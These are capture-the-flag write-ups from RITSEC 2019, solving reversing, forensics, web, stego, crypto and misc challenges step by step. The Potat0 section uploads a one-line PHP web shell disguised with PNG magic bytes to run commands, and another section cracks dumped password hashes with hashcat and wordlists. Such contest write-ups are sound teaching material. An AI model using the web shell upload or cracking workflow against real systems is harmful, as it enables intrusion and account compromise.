Write-ups for the RITSEC 2019 capture the flag.
#BIN
#Acorn
This gives us the following assembly:
decode(): // @decode()
sub sp, sp, #48 // =48
adrp x8, .L_ZZ6decodevE8password
add x8, x8, :lo12:.L_ZZ6decodevE8password
ldur q0, [x8, #30]
ldp q2, q1, [x8]
mov x8, sp
mov w9, #33
stur q0, [sp, #30]
stp q2, q1, [sp]
.LBB0_1: // =>This Inner Loop Header: Depth=1
ldrb w10, [x8]
eor w10, w10, w9
sub w10, w10, #33
strb w10, [x8], #1
b .LBB0_1
.L_ZZ6decodevE8password:
.asciz "\x52\x4b\x54\x55\x47\x45\xbd\xa8\xa7\xbb\xa1\xae\xab\xa5\xa7\xa1\xbb\xb1\xb7\xa1\xa5\xa3\xae\xa1\xb2\xa7\xb6\xa7\xb2\xb5\xa7\xa1\x43\x52\x4f\xa1\xa3\xb5\xb5\xa7\xaf\xa2\xac\xbb\xbf"
I recognize this as ARM assembly due to the ldp
and stp
instructions. I’m
not super familar with ARM so I used the ARMASM reference to do this. Essentially this program loads the string and then
does some operation over it in a loop (.LBB0_1
). I’ve annotated the important
parts for clarity:
decode(): // @decode()
sub sp, sp, #48 // =48
adrp x8, .L_ZZ6decodevE8password // x8 = &password
add x8, x8, :lo12:.L_ZZ6decodevE8password
ldur q0, [x8, #30] // q0 = x8[30]
ldp q2, q1, [x8] // q2 = x8[0]
// q1 = x8[1]
mov x8, sp // x8 = sp
mov w9, #33 // w9 = 33
stur q0, [sp, #30]
stp q2, q1, [sp]
.LBB0_1: // =>This Inner Loop Header: Depth=1
ldrb w10, [x8] // w10 = x8[0]
eor w10, w10, w9 // w10 ^= w9
sub w10, w10, #33 // w10 -= 33
strb w10, [x8], #1 // w10 = x8[1]
b .LBB0_1
.L_ZZ6decodevE8password:
.asciz "\x52\x4b\x54\x55\x47\x45\xbd\xa8\xa7\xbb\xa1\xae\xab\xa5\xa7\xa1\xbb\xb1\xb7\xa1\xa5\xa3\xae\xa1\xb2\xa7\xb6\xa7\xb2\xb5\xa7\xa1\x43\x52\x4f\xa1\xa3\xb5\xb5\xa7\xaf\xa2\xac\xbb\xbf"
The main part is the sub
and the eor
(xor) instruction. It’s xor’d by w9
which is set the mov w9, #33
to so to undo this we just do:
in JS:
"\x52\x4b\x54\x55\x47\x45\xbd\xa8\xa7\xbb\xa1\xae\xab\xa5\xa7\xa1\xbb\xb1\xb7\xa1\xa5\xa3\xae\xa1\xb2\xa7\xb6\xa7\xb2\xb5\xa7\xa1\x43\x52\x4f\xa1\xa3\xb5\xb5\xa7\xaf\xa2\xac\xbb\xbf"
.split``
.map(i =>
String.fromCharCode((i.charCodeAt() ^ 33) - 33))
.join``
which gives us RITSEC{hey_nice_you_can_reverse_ARM_assembly}
!
#yeet
This downloads a compiled AppleScript file. You don’t need to even have a mac
to do this problem. I navigated to the AppleScript script file’s compiled code
which is main.scpt
.
I opened this in TextEdit just to see what I was dealing with:
What stuck out immediately is the base64-string. I recognized UklUU0VD
in this
as the base64 for RITSEC
so I copied and pasted that. Note: it looks like there
were some null-characters so I stripped those out tr -dc $'\0'
:
UklUU0VDe3Byb3BpZXRhcnlfYnl0ZWNvZGVfZnR3X3BoYW50MG19
decoding this gives RITSEC{propietary_bytecode_ftw_phant0m}
. Simple enough.
#Forensics
#Take it to the Cleaners
This gave the following image:
with the hint “See if you can find what the artist forgot to take out in this one!“. Based on this looking at the EXIF data:
$ exiftool ./ritsec_logo2.png
ExifTool Version Number : 10.55
File Name : ritsec_logo2.png
Directory : /
File Size : 4.3 kB
File Modification Date/Time : 2019:11:17 00:08:58-08:00
File Access Date/Time : 2019:11:17 00:09:00-08:00
File Inode Change Date/Time : 2019:11:17 00:08:59-08:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 328
Image Height : 154
Bit Depth : 8
Color Type : Palette
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Palette : (Binary data 129 bytes, use -b option to extract)
Exif Byte Order : Big-endian (Motorola, MM)
Image Description : Hi there! Looks like youre trying to solve the forensic_fails challenge! Good luck!
Resolution Unit : inches
Artist : Impos73r
Y Cb Cr Positioning : Centered
Copyright : RITSEC 2018
Exif Version : 0231
Components Configuration : Y, Cb, Cr, -
User Comment : RVZHRlJQe1NCRVJBRlZQRl9TTlZZRl9KQkFHX1VSWUNfTEJIX1VSRVJ9
Flashpix Version : 0100
GPS Latitude Ref : North
GPS Longitude Ref : West
Image Size : 328x154
Megapixels : 0.051
The ‘User Comment’ looks like base64…:
$ bash64 -D <<< RVZHRlJQe1NCRVJBRlZQRl9TTlZZRl9KQkFHX1VSWUNfTEJIX1VSRVJ9
EVGFRP{SBERAFVPF_SNVYF_JBAG_URYC_LBH_URER}
Looks like a substitution cipher which I’ll solve using quipqiup.com.
Knowing EVGFRP=RITSEC
… this gives RITSEC{FORENSICS_FAILS_DONT_HELP_YOU_HERE}
.
#Long Gone
Downloading the chromebin
. Let’s see what it really is:
$ file ./chromebin.dms
./chromebin.dms: POSIX tar archive (GNU)
Oh ok well let’s see what’s inside:
$ tar xzvf ./chromebin.dms
...
There’s a lot in here.. but my eye is immedately drawn towards User Data/Default/History
since the challenge mentions “History”. Let’s see what this file is:
$ file Chrome/User\ Data/Default/History
Chrome/User Data/Default/History: SQLite 3.x database, last written using SQLite version 3029000
aha SQLite 3 that’s easy enough let’s see what’s inside:
$ sqlite3 Chrome/User\ Data/Default/History
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> .tables
downloads meta urls
downloads_slices segment_usage visit_source
downloads_url_chains segments visits
keyword_search_terms typed_url_sync_metadata
That keyword_search_terms
seems like something that could hold a flag..
sqlite> select * from keyword_search_terms
2|71|help insult heady|help insult heady
... trimmed ...
2|76|us-central-1.ritsec.club/l/relaxfizzblur|us-central-1.ritsec.club/l/relaxfizzblur
... trimmed ...
2|80|actor beautiful dizzy|actor beautiful dizzy
What’s that URL? Well when we visit it, the page has our flag! RITSEC{SP00KY_BR0WS3R_H1ST0RY}
#pwn
#999 bottles
This has 999 executables each with a character associated with it:
$ ./001.c.out
What is my character?
A
Nope!
Now we have to essentially find out what’s the correct character for each of the 999 executables and then find some flag in there. Let’s see what one of them look like (using radare2 to decompile):
$ r2 ./bottles/001.c.out
[0x080483c0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080483c0]> s main
[0x080484bb]> pdd
which gave:
/* r2dec pseudo code output */
/* /bottles/001.c.out @ 0x80484bb */
#include <stdint.h>
int32_t main (int32_t arg_4h) {
int32_t var_dh;
int32_t canary;
int32_t var_4h;
ecx = &arg_4h;
eax = *(gs:0x14);
canary = *(gs:0x14);
eax = 0;
/* trimmed */
*(obj.p) = 0x46;
/* trimmed */
puts ("What is my character?");
isoc99_scanf(0x8048806, var_dh);
edx = (int32_t) var_dh;
eax = *(obj.p);
if (dl == al) {
puts (0x8048809);
} else {
puts ("Nope!\r");
}
eax = 0;
ecx = canary;
ecx ^= *(gs:0x14);
if (dl != al) {
stack_chk_fail ();
}
ecx = var_4h;
esp = ecx - 4;
return eax;
}
The main comparison at hand is dl == al
. al
is loaded in the eax = *(obj.p);
and that value is set as *(obj.p) = 0x46;
. which means the character is 0x46
or F
for this executable. Rather than analyze the binary itself. Let’s write a
Python script to automate this identification:
import r2pipe
import binascii
import sys
for i in range(1, 1000):
# Load nth binary
b = r2pipe.open('{0:03}'.format(i) + '.c.out')
# Get decompiled code
disass = b.cmd('aaa; s main; pdd')
# Identify the correct field
field = disass.split("eax = *(obj.")[1][0]
# Get the byte
byte = disass.split(f'*(obj.{field}) = ')[-1][2:4]
# Print the decoded hex byte
print(binascii.unhexlify(byte).decode('ascii'))
Now taking that output:
$ pbpaste | tr -d '\n'
F")|/f,:PsUUmKL*z(;N`QPtDZvX@j~=]q)AJ$w#g|Kehk)_$D_k;ESDz@ZK#=ZWfCo[GYG;FQ`W"mhoPlhr#W"N=RUxzjh"}&PJWWE@Jh%vKEIey`h,Xvxnsce/oqb,&*{#o&gMe-:RbSJO*>QIicbo<[sm>rmT@$@MgEwi:t{;U$WU[wRI!]+l[ngTqU>W:W*)$Sb},PmyEdJ~puK^zk!y.]M].vnBl!.OECe=JDiM|n+RihaL"x_p@M^P!f<Pa*j,A#"-,_n+z[?-bsQ.LBc{r<xR$[vuA/vMq%/_f-Yqg#$V}y&}[ReHU,`{^L/?rQlEW:Tv&l|&Ac#=FgrQR@a[Awwh-EEK@L:xf`M@E&}VFOZo:]ObRyiAomKD|,=pErk)wr%ir!J+`.DkN_`k>D}yrZ^@J&,qIRo|dvY+m@o:{cBvSE:G<;lGzV?NwpG*`VMnqSdXjN:r#=`=qq[qsn_kih>|M|WzEfz^|J>GTEc~k=KEbr@xOrP}iQnw#-uO-/]iCmbtBV+N*CmUiWl;STEf@}oB!e*!K#wmg](w.P]jm_o;Qec"AVm}JA#ua=hptzPVH?MSbopjRYUzDL_[[pA[)huW;=mhbIPAibwC[?o!"t.uKy[o~NiG;B=T.Rrn&OrF:&J&Xf`lr^wN${HnW<DtVjk.RITSEC{AuT057v}^W!xT;ImOU;ruPEQJKtRPlL#aGA.[PX,;,e~$t:*^dR?P_daEe,_{#r+iNrE-UVdeQh]GiIO+G;*.m=&+g#x|P!oXA(iFm({ZgTIohA<,.e(&KWw|>~,Wl<XH]<zT|H;gl.I_n"JAJ=n&}KJV{wsIFgsGHv@)+kj&>AQ~%xxK}<D?V+~oD?p=IZ$,Uy:L}$d[*VboIFrUuxp{{U!&e}-MSFDal(dIp^dN]D_`DYi!$VpNB-ZCUYKVxXta$Ur*!kSN`k>#fOzg]"ERlSIE~g)YlRi^oZg*Y,|ODGgbrXoqljJzChJ"c+ZRjy]}f{e
Looking carefully there’s RITSEC{AuT057v}
in this string which is our flag.
#Web
#misdirection
Looks like a lot of redirects. Let’s see what the first one is:
$ http GET http://ctfchallenges.ritsec.club:5000/
HTTP/1.1 302 FOUND
Connection: keep-alive
Content-Length: 211
Content-Type: text/html; charset=utf-8
Date: Sat, 16 Nov 2019 06:12:40 GMT
Location: http://ctfchallenges.ritsec.club:5000/R
Server: nginx/1.14.0 (Ubuntu)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/R">/R</a>. If not click the link.
/R
? That’s the first letter of the flag format. Continuing to follow this spells
out RS{4!way5_Ke3p-m0v1ng}
which is the flag.
#Buckets of fun
The problem as a link to:
http://bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com/
This is an S3 bucket. We can the bucket information by removing the location segment of the URL:
http://bucketsoffun-ctf.s3.amazonaws.com
The contents of this is:
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>bucketsoffun-ctf</Name>
<Prefix />
<Marker />
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>index.html</Key>
<LastModified>2019-11-16T02:10:20.000Z</LastModified>
<ETag>"b271e7783d480770f61670d6b234e1ed"</ETag>
<Size>630</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>youfoundme-asd897kjm.txt</Key>
<LastModified>2019-11-16T02:10:20.000Z</LastModified>
<ETag>"a920cc3c8aaa05c1afe96a78d0adbcda"</ETag>
<Size>25</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>
Here there’s a file of interest youfoundme-asd897kjm.txt
. Let’s see it at
http://bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com/youfoundme-asd897kjm.txt
.
This loads a page containing RITSEC{LIST_HIDDEN_FILES}
. There we go!
#Potat0
Page seems to have nothing. No links of interest, no cookies, no JS, etc. However
/index.html
loads up the default apache page. Perhaps there’s something being
missed. Let’s see what other paths there are:
$ python3 dirsearch.py -u http://ctfchallenges.ritsec.club:8003 -e php,html
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php, html | HTTP method: get | Threads: 10 | Wordlist size: 6338
Target: http://ctfchallenges.ritsec.club:8003
[18:36:49] Starting:
--- trimmed files of non-interest ---
[18:37:47] 200 - 169B - /upload.php
[18:37:47] 301 - 347B - /uploads -> http://ctfchallenges.ritsec.club:8003/uploads/
[18:37:47] 200 - 4KB - /uploads/
Now from upload.php
we can just upload a file:
<?php passthru($_GET["cmd"]); ?>
and prefix this with magic bytes of some PNG file you have. Now you can go to
the URL this generates and cat flag.txt
and there you go!
#Stego
#HD Pepe
This challenges gives us a giant image of Pepe. Based on the previous challenge let’s see the metadata:
$ exiftool ,/ctf_pepe.png
ExifTool Version Number : 10.55
File Name : ctf_pepe.png
Directory : /
File Size : 10 MB
File Modification Date/Time : 2019:11:17 00:12:18-08:00
File Access Date/Time : 2019:11:17 00:12:19-08:00
File Inode Change Date/Time : 2019:11:17 00:12:18-08:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 4500
Image Height : 4334
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Exif Byte Order : Big-endian (Motorola, MM)
Image Description : gh:cyberme69420/hdpepe
Resolution Unit : inches
Artist : degenerat3
Y Cb Cr Positioning : Centered
Exif Version : 0231
Components Configuration : Y, Cb, Cr, -
User Comment : version control hehe
Flashpix Version : 0100
GPS Latitude Ref : North
GPS Longitude Ref : East
GPS Latitude : 39 deg 1' 10.11" N
GPS Longitude : 125 deg 45' 12.20" E
GPS Position : 39 deg 1' 10.11" N, 125 deg 45' 12.20" E
Image Size : 4500x4334
Megapixels : 19.5
In the image description there is ‘gh:cyberme69420/hdpepe’. Going to this
GitHub url. There’s an encoder.py
and
examiner.py
. Looking at the encoder:
def generateAValues(b64str):
numArr = []
for ch in b64str:
val = ord(ch)
n = 255 - val
numArr.append(n)
return numArr
It takes a base64 of the flag and updates for the initial
alpha values. examiner.py
gives us the RGBA values in the format:
$ python examiner.py ./ctf_pepe.png 50
X-axis size: 4500
Y-axis size: 4334
r: 53, g: 94, b: 148, a: 170
r: 53, g: 94, b: 148, a: 148
r: 52, g: 93, b: 147, a: 147
r: 51, g: 92, b: 146, a: 170
...
I grabbed enough of these values and then ran to get the original ordinal from the alpha channel which looks like:
python exam.py ./ctf_pepe.png 50 | \
tail -n +3 | \
awk '{ printf "%c", 255-$8 }' | \
base64 -D
because it happened to be base64 encoded. This finally gave RITSEC{M3M3S_CAN_B3_M4LICIOUS}
.
#Misc
#Lunar Lander
This was a fun challenge. The main hurdle was figuring what the stars refer to. The challenge is called ‘lunar lander’ and mentions star guidance tables? To me, this shouted Apollo Guidance Computer Code.
It also just so happened one of the files in the AGC’s code is STAR_TABLES.
In that file, the stars also perfectly correspond to the stars in the challenge’s distance file too:
Star 18 => Star 11
Star 5 => Star 26
... trimmed ...
Star 1 => Star 33
Star 5 => Star 29
Let’s load the these , , from the AGC code positions into Python so we can handle them easier. I’ll preprocess the startables into a format easier to process
$ wget https://github.com/chrislgarry/Apollo-11/raw/master/Comanche055/STAR_TABLES.agc | \
sed '/^#/d' | tail -r | awk '{ print $2 }' > startables.txt
This is the position format that we’re working (startables.txt
):
+.4836621670 # STAR 1 Z
+.0260879174 # STAR 1 Y
+.8748658918 # STAR 1 X
... trimmed ...
-.4966976975 # STAR 37 Z
-.2392481515 # STAR 37 Y
+.8342971408 # STAR 37 X
Then I load it into a python dictionary in the form { STAR_NUM: [x, y, z] }
startable_lines = open('startableq.txt', 'r').read().strip().split("\n")
stars = {}
for i, star in enumerate(startable_lines):
star_num = i // 4 + 1
offset = i % 4
if offset == 0:
stars[star_num] = [0, 0, 0]
if 0 <= offset <= 2:
stars[star_num][offset] = float(star.split("\t")[0])
Now let’s calculate the distances in order from the page they gave us:
distances = open('distances.txt', 'r').read().strip().split("\n")
def distance_between(star1, star2):
return (
(stars[star1][0] - stars[star2][0]) ** 2 +
(stars[star1][1] - stars[star2][1]) ** 2 +
(stars[star1][2] - stars[star2][2]) ** 2
) ** .5
for distance in distances:
star_connection = [int(s) for s in distance.split() if s.isdigit()]
distance = distance_between(star_connection[0], star_connection[1])
print(distance)
Here’s what that looks like:
1.1413116044081242
1.0597301640471557
1.1689919577023342
1.1505951569583577
1.0169223828043912
0.99565724132076
1.2364118929119945
1.0880181780167246
1.0183063651011686
0.9702812898147216
1.126431558178386
0.9550531181686515
0.5292890765461832
0.9546733937327387
1.166097811114406
1.0431713338229598
0.5110063572320208
0.9550531181686515
1.1589305536659942
1.166097811114406
0.9768911066069469
1.1413116044081242
1.1505951569583577
1.2579780098487245
What do we do with these numbers? This stumped me until I remembered back to the
challenge description. The flag has format ritsec{}
. ‘r’ has char code .
If we look carefully at the first value, it starts with 1.14
— surely this isn’t
a coincidence! Now I adjusted my code to round to the first two values and output
the ordinal:
print("{0:.2f}".format(distance))
1.14
1.06
...
1.15
1.26
and then the following code to convert to flag:
$ python decode.py | tr -d '.' | awk '{ printf "%c", $1 }'
ritsec{leap_4_th3_stars}
Note: I had to make some adjustments such as using
$1-1
because of floating point imprecision
There we go! Fun challenge.
#AlPhAbEtIcAl Challenge
This one is a substitution challenge. We’ll replace each number with a letter:
59:87:57:51:85:80{:40:50:56:08:82:58:81:08:18:85:57:87:48:85:88:40:50:56:59:15:56:11:18:85:59:51:}
using a quick script:
const table = {};
`59:87:57:51:85:80{:40:50:56:08:82:58:81:08:18:85:57:87:48:85:88:40:50:56:59:15:56:11:18:85:59:51:}`.replace(/\d+:?/g, i => {
let number = parseInt(i)
let value = table[n]
if (!value) {
value = table[number] = String.fromCharCode(65 + Object.keys(table).length)
}
return value;
})
which gives us some sample letters:
ABCDEF{:GHIJKLMJNECBOEPGHIAQIRNEAD}
we know ABCDEF=RITSEC
which helps is solve this. I went to quipqiup.com
to solve and got RITSEC{YOUALPHABETIZEDYOURNUMBERS}
.
#Crack me If You Can
This one was a hashing challenge. I have an GTX 1070 which I used with Hashcat’s OpenCL to be able to solve these fast enough
Some moron just breached Meme Corp and decided to dump their passwords...
In the meantime, prepare your GPUs, and get Ready... Set.... and go CRACK!
However... We have a theory that the passwords might come from darkweb2017-top10000.txt, 500-worst-passwords.txt or 10-million-password-list-top-1000000.txt
$6$Vd3nVB.lJ6RXOGTZ$ulpl0RNdwMC01AWvEovTsJOtFhfZ4STL7QiaC8qhJs8QIEk/xYQNuBkSm1np8kcW/KXOv4jmcsuz2fOvimB.9.
I recognized the hashes it gave as sha512crypt hashes and NTLM hashes. Additionally, downloading the wordlists they gave I used the following to crack them:
# NTLM
MODE=1000
# sha512crypt
MODE=1800
hashcat -m $MODE -a 0 password.txt ./darkweb2017-top10000.txt ./500-worst-passwords.txt ./10-million-password-list-top-1000000.txt ./probable-v2-top12000.txt ./xato-net-10-million-passwords-1000000.txt -O
#Crypto
#Pre-legend
For pre-legend you’re given the following text:
9EEADi^^8:E9F3]4@>^4=2J32==^D@>6E9:?8\FD67F=\C:ED64
They are no unprintables, all are in the ASCII range so I’m going to guess the code points are offset. It just so happens to make a readable text if I offset each by :
`9EEADi^^8:E9F3]4@>^4=2J32==^D@>6E9:?8\FD67F=\C:ED64`
.split``
.map(i => String.fromCharCode(i.charCodeAt() + 15))
.join``
HTTPSxmmGITHUBlCOMmCLAYBALLmSOMETHINGUSEFULRITSEC
converting this yields https://github.com/clayball/something-useful-ritsec. This
is the flag when wrapped RITSEC{https://github.com/clayball/something-useful-ritsec}
#Shiny
Shiny is a Gold Bug cipher as hinted by the
image name. Solving it yields POEWASTHEGOAT
wrapped is RITSEC{POEWASTHEGOAT}
.
#random
Connecting to the provided endpoint:
$ nc ctfchallenges.ritsec.club 8001
1183537326
179367511
1277013043
Are you starting to 'C' a pattern?
1811131854
868592998
Can you guess the next number?
No apparent pattern is visible. 'C'
is emphasized and combined with the name
of the challenge being ‘random’, first thought is glibc’s random number generator.
Let’s try a basic approach using the following python script:
import ctypes
# Load libc
glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# Seed RNG to current time in seconds
glibc.srand(glibc.time(0))
# Generate first 10 random numbers
print([glibc.rand() for i in range(10)])
This gives (when run at the same time as the netcat
):
[1183537326, 179367511, 1277013043, 1811131854, 868592998, 782136432, 2098891341, 126751000, 488308922, 309602220]
Looks like the output is just the first random numbers seeded from the
connection start time. Passing the next value in 782136432
yields the flag: RITSEC{404_RANDOMNESS_NOT_FOUND}
.